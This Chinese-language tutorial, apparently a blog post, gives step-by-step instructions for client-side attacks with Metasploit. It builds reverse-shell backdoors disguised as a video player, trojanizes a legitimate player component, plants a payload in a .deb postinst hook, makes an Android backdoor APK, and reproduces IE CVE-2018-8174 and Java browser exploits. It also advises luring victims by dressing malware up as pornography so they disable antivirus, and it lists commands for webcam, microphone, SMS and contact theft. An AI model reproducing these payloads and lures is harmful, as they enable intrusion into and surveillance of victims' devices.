客户端渗透测试原理
- 在我们在无法突破对方的网络边界的时候,往往需要使用客户端渗透这种方式对目标发起攻击,比如我们向目标发一个含有后门的程序,或者是一个word文档、pdf文件。想要达到效果同时也要利用好社会工程学,来诱骗受害者执行恶意程序。
- 客户端渗透技巧,通常用户的计算机都安装了安全软件,一般我们生成的恶意程序都会被检测,所以我们所设计的恶意软件可以利用人的劣根性,比如我们将恶意软件或网站伪装成色情软件或网站,这样目标会认为他本身就是不好的软件被安全软件检测是很正常的事情,如果他安耐不住关闭安全防护软件执意要运行恶意程序,那么他就中招了。当然这种取巧的办法并不能解决所有问题,我们需要利用免杀来躲避安全软件的查杀。
- 防病毒软件收录了大量的
病毒
、木马
样本,可通过其病毒
、木马
数据库,检测当前程序。所以,可以通过修改病毒
、木马
的二进制字符,或者对病毒
、木马
做加密处理,来做到免杀。
Windows客户端渗透原理
远程获取PC的shell
实例一:生成西瓜影音.exe 后门程序。
- 1、通过
msfvenom
制作后门程序。msfvenom 是 msfpayload,msfencode 的结合体,可利用 msfvenom 生成木马程序,并在目标机 上执行,在本地监听上线。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.83.138 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音 1.exe-a x86 #指定架构,x86--platform windows #指定平台,为Windows。-p windows/meterpreter/reverse_tcp #指定payload,为windows/meterpreter/reverse_tcp。LHOST、LPORT #设置上做监听的的主机ip和端口。-b "\x00" #去掉坏字符-e x86/shikata_ga_nai #编码(做免杀)-i 10 #指定编码次数,为10次-f exe #指定输出文件的格式,为exe格式。也可以是 raw,exe,elf,jar,c 语言的,python 的,java 的……,用 -l formats 查看所有支持的格式-o #指定文件输出位置及文件名。指定到网站根目录/var/www/html,方便在肉机上下载后门程序。
-
在kali中,将生成的病毒文件,输出到了
/var/www/html
目录下。然后启动Apache:systemctl start apache2
。
通过Apache提供的web服务将生成病毒文件下载下来:
http://192.168.83.138/西瓜影音
-
2、在 MSF 上启动 handler 开始监听后门程序 :
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.53
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > run
-
危险文件检测:https://www.virustotal.com
-
将“病毒文件”发给被攻击者,当被攻击者执行该文件后。目标主机就被控制。
-
将会话保存到后台,方便以后使用
meterpreter > background
msf5 exploit(multi/handler) > sessions #查看会话
msf5 exploit(multi/handler) > sessions -i 1 #指定会话 ID,调用新的会话
meterpreter > exit #如果不想使用了,就退出,断开会话
- PS:补充一下meterpreter的用法。
实例二:模拟黑客给正常的软件加上后门
-
场景:当我们特别需要安装某一款软件时,杀毒软件会报出有毒。此时,有没有过忽视杀毒软件的提示,继续按照软件。尤其是:激活工具、盗版游戏、看片神器、裸聊神器、注册机、等等。
-
1、先下载一个正常的快播软件(免安装的快播软件)。为了软件的正常安装启动,尽量不要动主程序。从它的
被调用的程序
入手。启动软件时在进程中发现,当启动主程序(QvodPlayer.exe
)时,程序(QvodTerminal.exe
)在会被调用。所以,用QvodTerminal.exe
动手脚。 -
2、将
QvodTerminal.exe
拿到msf下捆绑后门:
root@kali:/home/kk# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.31.55 LPORT=4444 -b"\x00" -e x86/shikata_ga_nai -i 10 -x QvodTerminal.exe -f exe -o /var/www/html/QvodTerminal.exe
- 将已捆绑后门的
QvodTerminal.exe
放到原软件包里,替换掉原来的QvodTerminal.exe
。 - 此时,在msf监听它的连接:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.31.55
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > run
- 攻击对象运行
QvodPlayer
,即可触发后门:
Linux客户端渗透原理
制作 Linux 恶意软件获取 shell
- 使用 msfvenom 生成 linux 可执行文件
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.83.138 LPORT=4444 -b "\x00" -i 10 -f elf -o /var/www/html/testshell
- MSF 配置、监听:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.83.138
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > exploit
- 打开 centos 7,新建一个终端:
wget http://192.168.1.53/testshell #下载后门
chmod +x testshell #添加执行权限
./testshell #执行程序
- 我们回到 MSF 控制台,Session 已经建立:
制作恶意 deb 软件包来触发后门
-
以freesweep.deb软件包为例。先下载:
apt-get --download-only install freesweep
。
文件下载到了/var/cache/apt/archibes
,为了便于操作,移到家目录。 -
解压软件包
dpkg -x freesweep_1.0.1-1_amd64.deb free
-
生成恶意代码到软件包源文件中
msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.83.138 LPORT=4444 -b "\x00" -i 10 -f elf -o /root/free/usr/games/freesweep_sources
将恶意代码放到freesweep软件包的/usr/games/
目录下。 -
拓展:生成软件包时无论是 payload 的和软件包信息都需要选择能够在目标操作系统上执行的。 创建软件包信息目录 。(必备文件,否则不能成功创建软件包)
root@kali:~# mkdir free/DEBIAN && cd free/DEBIAN 创建软件包的信息文件
root@kali:~# vim free/DEBIAN/control
Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use.
-
其中,软件包信息文件中关键字:Package、Version、Section、Priority、Architecture、Maintainer、Description不可少,value随意填写。
-
本软件包是,安装完成deb后,出发后门文件。
-
在
DEBIAN
目录下写一个触发后门的文件:postinst,
#!/bin/bash
sudo chmod 755 /usr/games/freesweep_sources #给后门文件附执行权限。
sudo /usr/games/freesweep_sources & #执行后门文件,&:意为后台运行。
-
然后,给postinst附执行权限:
root@kali:~/free/DEBIAN# chmod 755 postinst
-
将文件打包:
root@kali:~# dpkg-deb --build /root/free/
-
此时,带有后门的软件包已经
设置
完毕。接下来就是监控设置
的ip和端口,让对方安装触发后门,以控制对方主机。 -
本地监控ip和端口:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.83.138
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > run
- 对方安装软件包,触发后门:
root@linux:~# dpkg -i free.deb
IE浏览器远程代码执行漏洞(CVE-2018-8174)复现
-
下载CVE-2018-8174的exp:
git clone https://github.com/iBearcat/CVE-2018-8174_EXP.git -
html 文件生成成功:
python CVE-2018-8174.py -u http://192.168.83.138/exploit.html -o hack.rtf -i 192.168.83.138 -p 4444参数说明:-u:URL 地址,恶意 html 文件 exploit.html 的访问地址 -o:生成文档 -i:监听地址 -p:监听端口 恶意
-
然后,将 exploit.html 放到能够访问到的网站目录下,以供对方下载。
-
启动网站服务:
service apache2 start
-
此时在msf中做监听:
msf5 exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.83.138
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > run
- 当有人用有IE浏览器内核的浏览器访问:
http://192.168.83.138/exploit.html
。即可被getshell。
- 上图出现乱码,设置成UTF-8就行了:
chcp 65001
:
基于 java 环境的漏洞利用获取 shell
- 前提:被攻击对象安装有Java环境——安装了
jre-7u17-windows-i586
。傻瓜式安装即可。 - 实战:
msf5 > use exploit/multi/browser/java_jre17_driver_manager
msf5 exploit(multi/browser/java_jre17_driver_manager) > show options
msf5 exploit(multi/browser/java_jre17_driver_manager) > show payloads
msf5 exploit(multi/browser/java_jre17_driver_manager) > set payloads java/meterpreter/reverse_tcp
msf5 exploit(multi/browser/java_jre17_driver_manager) > set LHOST 192.168.83.138
msf5 exploit(multi/browser/java_jre17_driver_manager) > run
-
在
run
后,会给出一个需要被攻击对象触发 的URL:http://192.168.83.138:8080/bc3K9Xomd7GfN0
,
-
攻击对象访问
http://192.168.83.138:8080/bc3K9Xomd7GfN0
。会弹出两个框,点击Later
、更新
即可触发。
-
通过sessions查看打开连接。
-
GetShell!!
安卓客户端渗透
- 使用
msfvenom
生成一个后门apk文件:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.83.138 LPORT=4444 R > test.apk
- 在msf中建立监听:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.83.138
msf5 exploit(multi/handler) > set lport 4444
msf5 exploit(multi/handler) > run
-
此时,在安卓手机上安装上面生成的
test.apk
软件包。然后点开APP图标,即可触发。GetShell!!!
-
下面,是
meterpreter
下的操作命令 -
1、Stdapi:网络摄像头命令:
record_mic # 录制默认麦克风的音频X秒钟
webcam_chat # 开始视频聊天
webcam_list # 列出网络摄像头
webcam_snap # 从指定的网络摄像头拍摄快照
webcam_stream -i 1 #从指定的网络摄像头播放视频流[选择后摄像头]
- 2、Android命令:
activity_start # 从Uri字符串开始Android活动
check_root # 检查设备是否已植根
dump_calllog # 获取通话记录
dump_contacts # 获取联系人列表
dump_sms # 获取短信
geolocate # 使用地理位置获取当前经纬度
hide_app_icon # 在启动器中隐藏应用程序图标
interval_collect # 管理间隔收集功能
send_sms # 从目标会话发送短信
set_audio_mode # 设置铃声模式
sqlite_query # 从存储中查询SQLite数据库
wakelock # 启用/禁用唤醒锁
wlan_geolocate # 使用WLAN信息获取当前的经纬度
- 3、应用控制器命令:
app_install # 要求安装APK文件
app_list # 列出设备中已安装的应用
app_run # 启动包名称的主要活动
app_uninstall # 要求卸载应用程序